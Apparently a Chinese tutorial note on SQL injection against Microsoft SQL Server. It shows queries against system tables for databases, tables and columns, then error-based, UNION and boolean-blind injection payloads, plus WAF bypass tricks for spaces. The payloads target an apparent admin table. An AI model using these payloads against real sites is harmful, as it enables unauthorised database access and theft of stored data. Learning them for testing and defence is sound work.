1>select*from master.dbo.sysdatabases; --name为数据库名,且前四个为系统自带库 2> go name dbid sid mode status status2 crdate reserved category cmptlevel filename version -------- ------ ----- ------ -------- ------------ ------------------------- ------------------------- ---------- ----------- --------------------------------------------------------------------------------------------------------- --------- master 106554410905200642003-04-0809:13:36.3901900-01-0100:00:00.0000150 C:\Users\DELL\AppData\Local\Microsoft\Microsoft SQL Server Local DB\Instances\MSSQLLocalDB\master.mdf 904 tempdb 206554410905200642025-05-0218:31:58.9701900-01-0100:00:00.0000150 C:\Users\DELL\AppData\Local\Microsoft\Microsoft SQL Server Local DB\Instances\MSSQLLocalDB\tempdb.mdf 904 model 306554410905190402003-04-0809:13:36.3901900-01-0100:00:00.0000150 C:\Users\DELL\AppData\Local\Microsoft\Microsoft SQL Server Local DB\Instances\MSSQLLocalDB\model.mdf 904 msdb 406554416273909762021-07-1916:10:09.0871900-01-0100:00:00.0000150 C:\Users\DELL\AppData\Local\Microsoft\Microsoft SQL Server Local DB\Instances\MSSQLLocalDB\MSDBData.mdf 904 test 5 � 0� �C2x��� 06554516273899522025-05-0300:14:57.9601900-01-0100:00:00.0000150 C:\Users\DELL\test.mdf
mssql如何查找表信息
sysobjects 视图
sysobjects 是 SQL Server 中的一个旧版系统表,虽然它在 SQL Server 中仍然可用,但已经逐渐被新的视图(如 sys.all_objects)所取代
1 2 3 4 5 6 7 8 9 10 11 12 13 14
1>select*from sysobjects where xtype='U'; --U代表用户创建的表,NAME字段为表名 2> go name id xtype uid info status base_schema_ver replinfo parent_obj crdate ftcatid schema_ver stats_schema_ver type userstat sysstat indexdel refdate version deltrig instrig updtrig seltrig category cache ------- ----------- ------- ----- ------ -------- ----------------- ---------- ------------ ------------------------- --------- ------------ ------------------ ------ ---------- --------- ---------- ------------------------- --------- --------- --------- --------- --------- ---------- ------- test1 885578193 U 1000002025-05-0300:16:02.313000 U 1302025-05-0300:16:02.3130000000 test2 917578307 U 1000002025-05-0300:16:38.830000 U 1302025-05-0300:16:38.8300000000
1>select*from syscolumns where id=885578193; --通过上表获取到的表名对应的id,在syscolumns中获取列名 2> go name id xtype typestat xusertype length xprec xscale colid xoffset bitpos reserved colstat cdefault domain number colorder autoval offset collationid language status type usertype printfmt prec scale iscomputed isoutparam isnullable collation tdscollation ------ ----------- ------- ---------- ----------- -------- ------- -------- ------- --------- -------- ---------- --------- ---------- -------- -------- ---------- --------- -------- ------------- ---------- -------- ------ ---------- ---------- ------ ------- ------------ ------------ ------------ ------------------------------ -------------- id 885578193561564100100000001NULL2000567NULL100000NULL name 885578193167216710000200000002NULL-1872468488024392NULL100NULL001 SQL_Latin1_General_CP1_CI_AS � 4 age 885578193560564100300000003NULL-2008387NULL100001NULL
sys.all_objects 视图
sys.all_objects 是一个较新的系统视图,提供了更细粒度的对象信息,并且适用于 SQL Server 2005 及更高版本,但是对于我们而言这俩表没什么不一样的
SELECT*FROM Fanmv_Admin WHERE AdminID=? --获取当前据库名 1and DB_NAME()>1; --获取所有数据库名,FOR XML PATh将多个行的数据合并为一个xml格式的字符串 1and1=(select name from master..sysdatabases for xml path) --获取表名 1and1=(SELECT TOP 1 name from sysobjects WHERE xtype='u'and name !='shipinsjc'); --获取字段 1and1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='Fanmv_Admin') AND name NOTIN ('ChapterInfo') ); --获取数据,CAST() 用于将一个数据类型转换为另一个数据类型。例如,将 INT 类型转换为 VARCHAR 1and1=(SELECT TOP 1CAST(id ASVARCHAR)+'|'+mc+'|'+CAST(shijianchang ASVARCHAR) from Fanmv_Admin);
联合查询注入
mssql不用数字占位,因为可能会发生隐式转换,用null来占位
1 2
select*from users where id=1orderby4; --查看列数 select*from test1 where id=1unionselectnull,user,null;
布尔盲注
1 2
SELECT*from users where id=1and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))=109 select*from article where id =1and1=iif(LEFT(db_name(),1)='t',1,0)
WAF 绕过
绕空格
1 2
0x01到0x20 /**/
除此之外还有几处特殊的绕过
1 2
select*from[test1] where id=1unionselect2,null,50 from.test2; --[]和.可以绕过from处空格,当union前为数字时可以省略空格